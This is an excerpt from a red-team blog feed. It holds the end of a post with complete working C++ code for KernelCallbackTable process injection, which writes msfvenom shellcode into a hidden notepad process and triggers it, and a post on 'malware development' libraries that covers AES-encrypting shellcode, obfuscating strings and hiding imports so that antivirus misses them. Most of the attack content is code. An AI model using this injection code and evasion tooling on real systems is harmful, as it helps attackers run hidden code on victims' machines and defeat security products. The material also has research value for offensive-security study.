<span class="n">si</span><span class="p">.</span><span class="n">wShowWindow</span> <span class="o">=</span> <span class="n">SW_HIDE</span><span class="p">;</span>
</code></pre></div></div>

<p>As for the process creation flag, I changed it from <code class="language-plaintext highlighter-rouge">CREATE_SUSPENDED</code> to <code class="language-plaintext highlighter-rouge">CREATE_NEW_CONSOLE</code>. I got the result that I wanted; the process is not visible to the user and it has a window. However, no handle was obtained so injection and execution of payload still did not happen.</p>

<p><a href="/static/img/2022-04-21-kernelcallbacktable-injection/process-has-window.png"><img src="/static/img/2022-04-21-kernelcallbacktable-injection/process-has-window.png" alt="Created Process with Window" /></a></p>

<h3 id="third-attempt-success">Third Attempt: SUCCESS!</h3>

<p>After some digging, the reason my second attempt failed is that I didn’t give the created process enough time to initialize its inputs. A <code class="language-plaintext highlighter-rouge">Sleep()</code> function will fix the issue <em>(I tried it and it worked)</em>. However, I don’t want to wait until the number of seconds passed in <code class="language-plaintext highlighter-rouge">Sleep()</code> lapsed. I used <code class="language-plaintext highlighter-rouge">WaitForInputIdle()</code> instead so it will only wait until the process has finished its initialization.</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">WaitForInputIdle</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hProcess</span><span class="p">,</span> <span class="mi">1000</span><span class="p">);</span>
</code></pre></div></div>

<p>Here’s the final code that I came up with.</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;Windows.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">"struct.h"</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span>
<span class="p">{</span>
	<span class="c1">// msfvenom -p windows/x64/exec CMD=calc EXITFUNC=thread -f c</span>
	<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">payload</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"</span><span class="se">\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x00</span><span class="s">"</span><span class="p">;</span>
	<span class="n">SIZE_T</span> <span class="n">payloadSize</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">payload</span><span class="p">);</span>

	<span class="c1">// Create a sacrifical process</span>
	<span class="n">PROCESS_INFORMATION</span> <span class="n">pi</span><span class="p">;</span>
	<span class="n">STARTUPINFO</span> <span class="n">si</span> <span class="o">=</span> <span class="p">{</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">STARTUPINFO</span><span class="p">)</span> <span class="p">};</span>
	<span class="n">si</span><span class="p">.</span><span class="n">dwFlags</span> <span class="o">=</span> <span class="n">STARTF_USESHOWWINDOW</span><span class="p">;</span>
	<span class="n">si</span><span class="p">.</span><span class="n">wShowWindow</span> <span class="o">=</span> <span class="n">SW_HIDE</span><span class="p">;</span>
	<span class="n">CreateProcess</span><span class="p">(</span><span class="s">L"C:</span><span class="se">\\</span><span class="s">Windows</span><span class="se">\\</span><span class="s">System32</span><span class="se">\\</span><span class="s">notepad.exe"</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">FALSE</span><span class="p">,</span> <span class="n">CREATE_NEW_CONSOLE</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">si</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">pi</span><span class="p">);</span>

	<span class="c1">// Wait for process initialization</span>
	<span class="n">WaitForInputIdle</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hProcess</span><span class="p">,</span> <span class="mi">1000</span><span class="p">);</span>

	<span class="c1">// Find a window for explorer.exe</span>
	<span class="n">HWND</span> <span class="n">hWindow</span> <span class="o">=</span> <span class="n">FindWindow</span><span class="p">(</span><span class="s">L"Notepad"</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Window Handle: 0x%p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">hWindow</span><span class="p">);</span>

	<span class="c1">// Obtain the process pid and open it</span>
	<span class="n">DWORD</span> <span class="n">pid</span><span class="p">;</span>
	<span class="n">GetWindowThreadProcessId</span><span class="p">(</span><span class="n">hWindow</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">pid</span><span class="p">);</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Process ID: %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">pid</span><span class="p">);</span>

	<span class="n">HANDLE</span> <span class="n">hProcess</span> <span class="o">=</span> <span class="n">OpenProcess</span><span class="p">(</span><span class="n">PROCESS_ALL_ACCESS</span><span class="p">,</span> <span class="n">FALSE</span><span class="p">,</span> <span class="n">pid</span><span class="p">);</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Process Handle: 0x%p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">hProcess</span><span class="p">);</span>

	<span class="c1">// Read PEB and KernelCallBackTable addresses</span>
	<span class="n">PROCESS_BASIC_INFORMATION</span> <span class="n">pbi</span><span class="p">;</span>
	<span class="n">pNtQueryInformationProcess</span> <span class="n">myNtQueryInformationProcess</span> <span class="o">=</span> <span class="p">(</span><span class="n">pNtQueryInformationProcess</span><span class="p">)</span><span class="n">GetProcAddress</span><span class="p">(</span><span class="n">GetModuleHandle</span><span class="p">(</span><span class="s">L"ntdll.dll"</span><span class="p">),</span> <span class="s">"NtQueryInformationProcess"</span><span class="p">);</span>
	<span class="n">myNtQueryInformationProcess</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">ProcessBasicInformation</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">pbi</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">pbi</span><span class="p">),</span> <span class="nb">NULL</span><span class="p">);</span>

	<span class="n">PEB</span> <span class="n">peb</span><span class="p">;</span>
	<span class="n">ReadProcessMemory</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">pbi</span><span class="p">.</span><span class="n">PebBaseAddress</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">peb</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">peb</span><span class="p">),</span> <span class="nb">NULL</span><span class="p">);</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] PEB Address: 0x%p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">pbi</span><span class="p">.</span><span class="n">PebBaseAddress</span><span class="p">);</span>

	<span class="n">KERNELCALLBACKTABLE</span> <span class="n">kct</span><span class="p">;</span>
	<span class="n">ReadProcessMemory</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">peb</span><span class="p">.</span><span class="n">KernelCallbackTable</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">kct</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">kct</span><span class="p">),</span> <span class="nb">NULL</span><span class="p">);</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] KernelCallbackTable Address: 0x%p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">peb</span><span class="p">.</span><span class="n">KernelCallbackTable</span><span class="p">);</span>

	<span class="c1">// Write the payload to remote process</span>
	<span class="n">LPVOID</span> <span class="n">payloadAddr</span> <span class="o">=</span> <span class="n">VirtualAllocEx</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">payloadSize</span><span class="p">,</span> <span class="n">MEM_RESERVE</span> <span class="o">|</span> <span class="n">MEM_COMMIT</span><span class="p">,</span> <span class="n">PAGE_EXECUTE_READWRITE</span><span class="p">);</span>
	<span class="n">WriteProcessMemory</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">payloadAddr</span><span class="p">,</span> <span class="n">payload</span><span class="p">,</span> <span class="n">payloadSize</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Payload Address: 0x%p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">payloadAddr</span><span class="p">);</span>

	<span class="c1">// 4. Write the new table to the remote process</span>
	<span class="n">LPVOID</span> <span class="n">newKCTAddr</span> <span class="o">=</span> <span class="n">VirtualAllocEx</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">kct</span><span class="p">),</span> <span class="n">MEM_RESERVE</span> <span class="o">|</span> <span class="n">MEM_COMMIT</span><span class="p">,</span> <span class="n">PAGE_READWRITE</span><span class="p">);</span>
	<span class="n">kct</span><span class="p">.</span><span class="n">__fnCOPYDATA</span> <span class="o">=</span> <span class="p">(</span><span class="n">ULONG_PTR</span><span class="p">)</span><span class="n">payloadAddr</span><span class="p">;</span>
	<span class="n">WriteProcessMemory</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">newKCTAddr</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">kct</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">kct</span><span class="p">),</span> <span class="nb">NULL</span><span class="p">);</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] __fnCOPYDATA: 0x%p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">kct</span><span class="p">.</span><span class="n">__fnCOPYDATA</span><span class="p">);</span>

	<span class="c1">// Update the PEB</span>
	<span class="n">WriteProcessMemory</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="p">(</span><span class="n">PBYTE</span><span class="p">)</span><span class="n">pbi</span><span class="p">.</span><span class="n">PebBaseAddress</span> <span class="o">+</span> <span class="n">offsetof</span><span class="p">(</span><span class="n">PEB</span><span class="p">,</span> <span class="n">KernelCallbackTable</span><span class="p">),</span> <span class="o">&amp;</span><span class="n">newKCTAddr</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">ULONG_PTR</span><span class="p">),</span> <span class="nb">NULL</span><span class="p">);</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Remote process PEB updated</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>

	<span class="c1">// Trigger execution of payload</span>
	<span class="n">COPYDATASTRUCT</span> <span class="n">cds</span><span class="p">;</span>
	<span class="n">WCHAR</span> <span class="n">msg</span><span class="p">[]</span> <span class="o">=</span> <span class="s">L"Pwn"</span><span class="p">;</span>
	<span class="n">cds</span><span class="p">.</span><span class="n">dwData</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
	<span class="n">cds</span><span class="p">.</span><span class="n">cbData</span> <span class="o">=</span> <span class="n">lstrlen</span><span class="p">(</span><span class="n">msg</span><span class="p">)</span> <span class="o">*</span> <span class="mi">2</span><span class="p">;</span>
	<span class="n">cds</span><span class="p">.</span><span class="n">lpData</span> <span class="o">=</span> <span class="n">msg</span><span class="p">;</span>
	<span class="n">SendMessage</span><span class="p">(</span><span class="n">hWindow</span><span class="p">,</span> <span class="n">WM_COPYDATA</span><span class="p">,</span> <span class="p">(</span><span class="n">WPARAM</span><span class="p">)</span><span class="n">hWindow</span><span class="p">,</span> <span class="p">(</span><span class="n">LPARAM</span><span class="p">)</span><span class="o">&amp;</span><span class="n">cds</span><span class="p">);</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Payload executed</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<blockquote>
  <p><em><strong>NOTE:</strong> I already removed the cleanup code (like restoring the original <code class="language-plaintext highlighter-rouge">KernelCallbackTable</code>) because they don’t matter anymore since the target process has already crashed and exited.</em></p>
</blockquote>

<blockquote>
  <p><em>The full project can be found <a href="https://github.com/capt-meelo/KernelCallbackTable-Injection">here</a>.</em></p>
</blockquote>

<p>And here it is in action.</p>

<p><a href="/static/img/2022-04-21-kernelcallbacktable-injection/kct-injection-worked.gif"><img src="/static/img/2022-04-21-kernelcallbacktable-injection/kct-injection-worked.gif" alt="Successful KernelCallbackTable Injection" /></a></p>

<h2 id="conclusion">Conclusion</h2>

<p>That’s it! That is how I modified the base PoC to make <code class="language-plaintext highlighter-rouge">KernelCallbackTable</code> process injection work according to what I wanted.</p>

<p>If anyone knows other solutions, like making the remote process not crash, I’m happy to hear it. :)</p>]]></content><author><name>Capt. Meelo</name></author><category term="redteam" /><category term="maldev" /><summary type="html"><![CDATA[A walkthrough on how I made KernelCallbackTable process injection work according to what I wanted.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://captmeelo.com/static/img/2022-04-21-kernelcallbacktable-injection/kct-injection-worked.gif" /><media:content medium="image" url="https://captmeelo.com/static/img/2022-04-21-kernelcallbacktable-injection/kct-injection-worked.gif" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Useful Libraries for Malware Development</title><link href="https://captmeelo.com/redteam/maldev/2022/02/16/libraries-for-maldev.html" rel="alternate" type="text/html" title="Useful Libraries for Malware Development" /><published>2022-02-16T00:00:00+00:00</published><updated>2022-02-16T00:00:00+00:00</updated><id>https://captmeelo.com/redteam/maldev/2022/02/16/libraries-for-maldev</id><content type="html" xml:base="https://captmeelo.com/redteam/maldev/2022/02/16/libraries-for-maldev.html"><![CDATA[<p>The use of libraries for development is great especially if you’re a beginner and wanted something that will surely work right out of the box and wanted to save time.</p>

<p>In this post, I’ll share some of the libraries that I found easy to use and useful during my malware development journey.</p>

<h2 id="tiny-aes-c">tiny-AES-c</h2>

<p>When writing malware, it’s a must to encrypt your shellcode. Otherwise, your malware won’t even pass the static analysis. One of the recommended ways of encrypting the shellcode is by using AES, and one of the easiest ways to implement this is by using the <a href="https://github.com/kokke/tiny-AES-c">kokke/tiny-AES-c</a> library.</p>

<p>To use this library, just add the following header and source files to your project.</p>

<ul>
  <li><a href="https://raw.githubusercontent.com/kokke/tiny-AES-c/master/aes.hpp">aes.hpp</a></li>
  <li><a href="https://raw.githubusercontent.com/kokke/tiny-AES-c/master/aes.h">aes.h</a></li>
  <li><a href="https://raw.githubusercontent.com/kokke/tiny-AES-c/master/aes.c">aes.c</a></li>
</ul>

<p>The following shows an example of how to AES-encrypt (using CBC mode) your shellcode and its corresponding output.</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;Windows.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">"lib/aes.hpp"</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span>
<span class="p">{</span>
	<span class="c1">// msfvenom -p windows/x64/exec CMD=calc EXITFUNC=thread -f c </span>
	<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"</span><span class="se">\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x00</span><span class="s">"</span><span class="p">;</span>
	<span class="n">SIZE_T</span> <span class="n">shellcodeSize</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode</span><span class="p">);</span>

	<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">key</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"Captain.MeeloIsTheSuperSecretKey"</span><span class="p">;</span>
	<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">iv</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"</span><span class="se">\x9d\x02\x35\x3b\xa3\x4b\xec\x26\x13\x88\x58\x51\x11\x47\xa5\x98</span><span class="s">"</span><span class="p">;</span>

	<span class="k">struct</span> <span class="nc">AES_ctx</span> <span class="n">ctx</span><span class="p">;</span>
	<span class="n">AES_init_ctx_iv</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ctx</span><span class="p">,</span> <span class="n">key</span><span class="p">,</span> <span class="n">iv</span><span class="p">);</span>
	<span class="n">AES_CBC_encrypt_buffer</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ctx</span><span class="p">,</span> <span class="n">shellcode</span><span class="p">,</span> <span class="n">shellcodeSize</span><span class="p">);</span>

	<span class="n">printf</span><span class="p">(</span><span class="s">"Encrypted buffer:</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>

	<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">shellcodeSize</span> <span class="o">-</span> <span class="mi">1</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\\</span><span class="s">x%02x"</span><span class="p">,</span> <span class="n">shellcode</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span>
	<span class="p">}</span>

	<span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="p">}</span>

</code></pre></div></div>

<p><a href="/static/img/2022-02-16-libraries-for-maldev/aes-enc-shellcode.png"><img src="/static/img/2022-02-16-libraries-for-maldev/aes-enc-shellcode.png" alt="AES-encrypted Shellcode" /></a></p>

<p>To decrypt the encrypted shellcode, simply used the <code class="language-plaintext highlighter-rouge">AES_CBC_decrypt_buffer()</code> function.</p>

<p>Other AES libraries also exist like the following:</p>

<ul>
  <li><a href="https://github.com/SergeyBel/AES">SergeyBel/AES</a></li>
  <li><a href="https://github.com/kkAyataka/plusaes">kkAyataka/plusaes</a></li>
</ul>

<h2 id="skcrypter">skCrypter</h2>

<p><a href="https://github.com/skadro-official/skCrypter">skadro-official/skCrypter</a> is a compile-time, user-mode and kernel-mode string crypter library. It uses XOR algorithm with a randomized key and has protection against default XOR brute-forcing.</p>

<p>But why do we need to encrypt/obfuscate our strings? This is done to “hide” some of the arfifacts of your malware. While it may help a little bit against average reverse engineers, obfuscating strings is still a good idea.</p>

<p>As an example, take a look at the following code which dynamically resolves the <code class="language-plaintext highlighter-rouge">NtDelayExecution</code> function via <code class="language-plaintext highlighter-rouge">GetModuleHandleA</code> and <code class="language-plaintext highlighter-rouge">GetProcAddress</code> to perform a “sleep” routine.</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;Windows.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span>
<span class="p">{</span>
	<span class="k">typedef</span> <span class="n">NTSTATUS</span><span class="p">(</span><span class="n">WINAPI</span><span class="o">*</span> <span class="n">pNtDelayExecution</span><span class="p">)(</span><span class="n">IN</span> <span class="n">BOOLEAN</span><span class="p">,</span> <span class="n">IN</span> <span class="n">PLARGE_INTEGER</span><span class="p">);</span>
	<span class="n">pNtDelayExecution</span> <span class="n">NtDelayExecution</span> <span class="o">=</span> <span class="p">(</span><span class="n">pNtDelayExecution</span><span class="p">)</span><span class="n">GetProcAddress</span><span class="p">(</span><span class="n">GetModuleHandleA</span><span class="p">(</span><span class="s">"ntdll.dll"</span><span class="p">),</span> <span class="s">"NtDelayExecution"</span><span class="p">);</span>

	<span class="kt">int</span> <span class="n">msDelaynumber</span> <span class="o">=</span> <span class="mi">10000</span><span class="p">;</span>
	<span class="n">LARGE_INTEGER</span>  <span class="n">delayInterval</span><span class="p">;</span>
	<span class="n">delayInterval</span><span class="p">.</span><span class="n">QuadPart</span> <span class="o">=</span> <span class="o">-</span><span class="mi">10000</span> <span class="o">*</span> <span class="n">msDelaynumber</span><span class="p">;</span>
	<span class="n">NtDelayExecution</span><span class="p">(</span><span class="n">FALSE</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">delayInterval</span><span class="p">);</span>

	<span class="n">printf</span><span class="p">(</span><span class="s">"Done!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>If we compile the above code and look for the “<code class="language-plaintext highlighter-rouge">ntdll.dll</code>” and “<code class="language-plaintext highlighter-rouge">NtDelayExecution</code>” strings, they are visible.</p>

<p><a href="/static/img/2022-02-16-libraries-for-maldev/skcrypter-unobfuscated.png"><img src="/static/img/2022-02-16-libraries-for-maldev/skcrypter-unobfuscated.png" alt="Unobfuscated Strings" /></a></p>

<p>If we used functions that are considered malicious, such as the combination of <code class="language-plaintext highlighter-rouge">OpenProcess</code>, <code class="language-plaintext highlighter-rouge">VirtualAllocEx</code>, <code class="language-plaintext highlighter-rouge">WriteProcessMemory</code>, and <code class="language-plaintext highlighter-rouge">CreateRemoteThread</code>, then our malware might not even pass the static analysis phase of an AV.</p>

<p>This is where the library <a href="https://github.com/skadro-official/skCrypter">skadro-official/skCrypter</a> comes into play. To use it, just import the header file <code class="language-plaintext highlighter-rouge">skCrypter.h</code> and place the strings you wanted to obfuscate within the <code class="language-plaintext highlighter-rouge">skCrypt()</code> function.</p>

<p>As a demo, the previous code was modified to hide both the “<code class="language-plaintext highlighter-rouge">ntdll.dll</code>” and “<code class="language-plaintext highlighter-rouge">NtDelayExecution</code>” strings using the <code class="language-plaintext highlighter-rouge">skCrypter.h</code> library:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;Windows.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">"lib/skCrypter.h"</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span>
<span class="p">{</span>
	<span class="k">typedef</span> <span class="n">NTSTATUS</span><span class="p">(</span><span class="n">WINAPI</span><span class="o">*</span> <span class="n">pNtDelayExecution</span><span class="p">)(</span><span class="n">IN</span> <span class="n">BOOLEAN</span><span class="p">,</span> <span class="n">IN</span> <span class="n">PLARGE_INTEGER</span><span class="p">);</span>
	<span class="n">pNtDelayExecution</span> <span class="n">NtDelayExecution</span> <span class="o">=</span> <span class="p">(</span><span class="n">pNtDelayExecution</span><span class="p">)</span><span class="n">GetProcAddress</span><span class="p">(</span><span class="n">GetModuleHandleA</span><span class="p">(</span><span class="n">skCrypt</span><span class="p">(</span><span class="s">"ntdll.dll"</span><span class="p">)),</span> <span class="n">skCrypt</span><span class="p">(</span><span class="s">"NtDelayExecution"</span><span class="p">));</span>

	<span class="kt">int</span> <span class="n">msDelaynumber</span> <span class="o">=</span> <span class="mi">10000</span><span class="p">;</span>
	<span class="n">LARGE_INTEGER</span>  <span class="n">delayInterval</span><span class="p">;</span>
	<span class="n">delayInterval</span><span class="p">.</span><span class="n">QuadPart</span> <span class="o">=</span> <span class="o">-</span><span class="mi">10000</span> <span class="o">*</span> <span class="n">msDelaynumber</span><span class="p">;</span>
	<span class="n">NtDelayExecution</span><span class="p">(</span><span class="n">FALSE</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">delayInterval</span><span class="p">);</span>

	<span class="n">printf</span><span class="p">(</span><span class="s">"Done!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>As we can see, the strings disappeared within the binary.</p>

<p><a href="/static/img/2022-02-16-libraries-for-maldev/skcrypter-obfuscated.png"><img src="/static/img/2022-02-16-libraries-for-maldev/skcrypter-obfuscated.png" alt="Obfuscated Strings" /></a></p>

<p>I also found the following string encryption libraries, though I haven’t used/tested them:</p>

<ul>
  <li><a href="https://github.com/JustasMasiulis/xorstr">JustasMasiulis/xorstr</a></li>
  <li><a href="https://github.com/qis/xorstr">qis/xorstr</a></li>
  <li><a href="https://github.com/TyrarFox/encstr">TyrarFox/encstr</a></li>
  <li><a href="https://github.com/pyj2323/StrCrypt">pyj2323/StrCrypt</a></li>
</ul>

<h2 id="lazy_importer">lazy_importer</h2>

<p>WinAPI functions used by binaries are listed in the binary’s <strong>Import Address Table (IAT)</strong>. This is not good in terms of evasion since most anti-malware solutions reads the binary’s <strong>IAT</strong> and checks for the presence of dangerous/malicious functions imported/used.</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;Windows.h&gt;</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span>
<span class="p">{</span>

    <span class="n">PROCESS_INFORMATION</span> <span class="n">pi</span><span class="p">;</span>
    <span class="n">STARTUPINFO</span> <span class="n">si</span> <span class="o">=</span> <span class="p">{</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">si</span><span class="p">)</span> <span class="p">};</span>

    <span class="n">CreateProcessW</span><span class="p">(</span><span class="s">L"C:</span><span class="se">\\</span><span class="s">Windows</span><span class="se">\\</span><span class="s">System32</span><span class="se">\\</span><span class="s">notepad.exe"</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">FALSE</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">si</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">pi</span><span class="p">);</span>

    <span class="n">WaitForSingleObject</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">INFINITE</span><span class="p">);</span>
    
    <span class="n">CloseHandle</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hProcess</span><span class="p">);</span>
    <span class="n">CloseHandle</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hThread</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

